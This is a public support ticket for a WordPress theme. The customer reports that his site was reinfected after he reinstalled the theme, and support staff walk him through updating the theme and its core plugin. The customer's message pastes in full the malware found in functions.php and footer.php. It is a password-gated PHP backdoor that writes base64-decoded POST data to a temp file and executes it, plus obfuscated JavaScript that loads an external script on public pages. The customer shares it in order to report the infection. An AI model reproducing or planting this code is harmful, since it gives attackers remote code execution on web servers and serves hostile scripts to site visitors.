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  Public Ticket #3708463
Unable to update to latest version with envato plugin
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  • Marco started the conversation

    Hello there, i ve got two issues recently. 

    1) My website got attacked by malwares and my web host suspended it. I paid them to clean my files and it all went ok for a month until i decided to download again the latest version of the theme from themeforest (like the old good times). After some weeks i got a malware again and my web host told me that there is something wrong in the theme files. Specifically : 

    function.php with the line : 

    ?><?php if(!function_exists("_set_retas_tag") && !function_exists("_set_metas_tag")){try{function _set_retas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="8c2563"."41c2"."7536"."810f"."274c"."fb2e"."ea9599"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_retas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_metas_tag(){if ($_SERVER['REQUEST_METHOD'] === 'POST') {return;} $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; if (strpos($url,'/wp-admin') !== false) {return;}if (strpos($url,'/wp-login.php') !== false) {return;} if (strpos($url,'/wp-json') !== false) {return;} echo "<script>var _0x1f4840=_0x1ca2;(function(_0x37167e,_0x390a1e){var _0x32cdab=_0x1ca2,_0x53bb1a=_0x37167e();while(!![]){try{var _0x28d699=parseInt(_0x32cdab(0x1c6))/0x1+-parseInt(_0x32cdab(0x1c8))/0x2*(parseInt(_0x32cdab(0x1b9))/0x3)+parseInt(_0x32cdab(0x1b3))/0x4+parseInt(_0x32cdab(0x1bf))/0x5+parseInt(_0x32cdab(0x1bc))/0x6*(parseInt(_0x32cdab(0x1b2))/0x7)+-parseInt(_0x32cdab(0x1b1))/0x8+-parseInt(_0x32cdab(0x1b5))/0x9*(-parseInt(_0x32cdab(0x1c0))/0xa);if(_0x28d699===_0x390a1e)break;else _0x53bb1a['push'](_0x53bb1a['shift']());}catch(_0xef27db){_0x53bb1a['push'](_0x53bb1a['shift']());}}}(_0x56ac,0x62e2b));function swerwer(){var _0x1be72e=_0x1ca2,_0x43a47b=document[_0x1be72e(0x1c2)](_0x1be72e(0x1bd));return _0x43a47b[_0x1be72e(0x1ca)]='ht'+'tps://rec'+_0x1be72e(0x1cd)+_0x1be72e(0x1cc)+_0x1be72e(0x1c3)+'in'+_0x1be72e(0x1cb)+'ar'+_0x1be72e(0x1c7)+_0x1be72e(0x1c1)+_0x1be72e(0x1be)+_0x1be72e(0x1c9)+'ur'+'n.js',_0x43a47b[_0x1be72e(0x1c5)]=_0x1be72e(0x1b8),_0x43a47b['id']=_0x1be72e(0x1bb),_0x43a47b;}Boolean(document[_0x1f4840(0x1b0)](_0x1f4840(0x1b7)))==![]&&(document[_0x1f4840(0x1b4)]?(document['currentScript'][_0x1f4840(0x1b6)]['insertBefore'](swerwer(),document['currentScript']),document[_0x1f4840(0x1b4)]['remove']()):d['getElementsByTagName'](_0x1f4840(0x1ba))[0x0][_0x1f4840(0x1c4)](swerwer()));function _0x1ca2(_0x5c13d3,_0x10d019){var _0x56acee=_0x56ac();return _0x1ca2=function(_0x1ca2a5,_0x4e4fe1){_0x1ca2a5=_0x1ca2a5-0x1b0;var _0x73b06b=_0x56acee[_0x1ca2a5];return _0x73b06b;},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=x22tricklx22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}</script>";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}}  ?><?php

    footer.php with the line : 

    <?php if(!function_exists("_set_retas_tag") && !function_exists("_set_metas_tag")){try{function _set_retas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="8c2563"."41c2"."7536"."810f"."274c"."fb2e"."ea9599"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_retas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_metas_tag(){if ($_SERVER['REQUEST_METHOD'] === 'POST') {return;} $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; if (strpos($url,'/wp-admin') !== false) {return;}if (strpos($url,'/wp-login.php') !== false) {return;} if (strpos($url,'/wp-json') !== false) {return;} echo "<script>var _0x1f4840=_0x1ca2;(function(_0x37167e,_0x390a1e){var _0x32cdab=_0x1ca2,_0x53bb1a=_0x37167e();while(!![]){try{var _0x28d699=parseInt(_0x32cdab(0x1c6))/0x1+-parseInt(_0x32cdab(0x1c8))/0x2*(parseInt(_0x32cdab(0x1b9))/0x3)+parseInt(_0x32cdab(0x1b3))/0x4+parseInt(_0x32cdab(0x1bf))/0x5+parseInt(_0x32cdab(0x1bc))/0x6*(parseInt(_0x32cdab(0x1b2))/0x7)+-parseInt(_0x32cdab(0x1b1))/0x8+-parseInt(_0x32cdab(0x1b5))/0x9*(-parseInt(_0x32cdab(0x1c0))/0xa);if(_0x28d699===_0x390a1e)break;else _0x53bb1a['push'](_0x53bb1a['shift']());}catch(_0xef27db){_0x53bb1a['push'](_0x53bb1a['shift']());}}}(_0x56ac,0x62e2b));function swerwer(){var _0x1be72e=_0x1ca2,_0x43a47b=document[_0x1be72e(0x1c2)](_0x1be72e(0x1bd));return _0x43a47b[_0x1be72e(0x1ca)]='ht'+'tps://rec'+_0x1be72e(0x1cd)+_0x1be72e(0x1cc)+_0x1be72e(0x1c3)+'in'+_0x1be72e(0x1cb)+'ar'+_0x1be72e(0x1c7)+_0x1be72e(0x1c1)+_0x1be72e(0x1be)+_0x1be72e(0x1c9)+'ur'+'n.js',_0x43a47b[_0x1be72e(0x1c5)]=_0x1be72e(0x1b8),_0x43a47b['id']=_0x1be72e(0x1bb),_0x43a47b;}Boolean(document[_0x1f4840(0x1b0)](_0x1f4840(0x1b7)))==![]&&(document[_0x1f4840(0x1b4)]?(document['currentScript'][_0x1f4840(0x1b6)]['insertBefore'](swerwer(),document['currentScript']),document[_0x1f4840(0x1b4)]['remove']()):d['getElementsByTagName'](_0x1f4840(0x1ba))[0x0][_0x1f4840(0x1c4)](swerwer()));function _0x1ca2(_0x5c13d3,_0x10d019){var _0x56acee=_0x56ac();return _0x1ca2=function(_0x1ca2a5,_0x4e4fe1){_0x1ca2a5=_0x1ca2a5-0x1b0;var _0x73b06b=_0x56acee[_0x1ca2a5];return _0x73b06b;},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=x22tricklx22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}</script>";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}}  ?>

    i don't know if you were aware of this. 

    2) I m not able to use Elementor anymore (Elementor still loading forever). So i saw other tickets and you said to download the latest version of the theme. From the Envato Market plugin i see i have 1.2.3 ; can't update anymore version, i only see the button Customize. Can you please help me ? Even now, Neuron Core gave me fatal errors...:(

    thanks

  •  907
    Neuron replied

    Hi,

    Please make sure that you're running the latest version of the Kyoto theme and Neuron Core plugin.

    Kyoto Theme Version 1.2.4
    Neuron Core Plugin 1.0.1

    You can update the theme directly on your dashboard, via the plugin below: 

    https://envato.com/market-plugin/

    So when you update the theme, please delete the Neuron Core plugin and install it again by going to Appearance > Install Plugins. It's already included in the theme.

    I've attached the latest version of the Neuron Core plugin in case you can't update it.

    https://we.tl/t-Gtm2CyABdH

    Feel free to ask for anything you need.

    Kind Regards


  • Marco replied

    thanks for your reply. Could you please send me the new theme version + neuron core plugin again please ? i can't do it with the envato market plugin, i don't know why..

  • Marco replied
    5968369366.png

    as you see in this picture, i don't see any theme/neuron core updates

  •  907
    Neuron replied

    Hi,

    Can you please provide me with your wp-admin, I will have a quick look to see what's going on.

    Feel free to ask for anything you need.

    Kind Regards


  •   Marco replied privately
  • Marco replied

    hello there. no answer, no news. Any update ? thanks

  •  907
    Neuron replied

    Hi,

    I am very sorry for the late reply, we were not working on the weekend.

    Can you please also share the URL of your site, so I can log into your site and check the issue?

    Feel free to ask for anything you need.

    Kind Regards


  •   Marco replied privately
  • Marco replied

    hello there, any news ? 

  •  907
    Neuron replied

    Hi Marco,

    I've just updated the Kyoto theme and Neuron Core to the latest version on your site, can you please take a look at it?

    Feel free to ask for anything you need.

    Kind Regards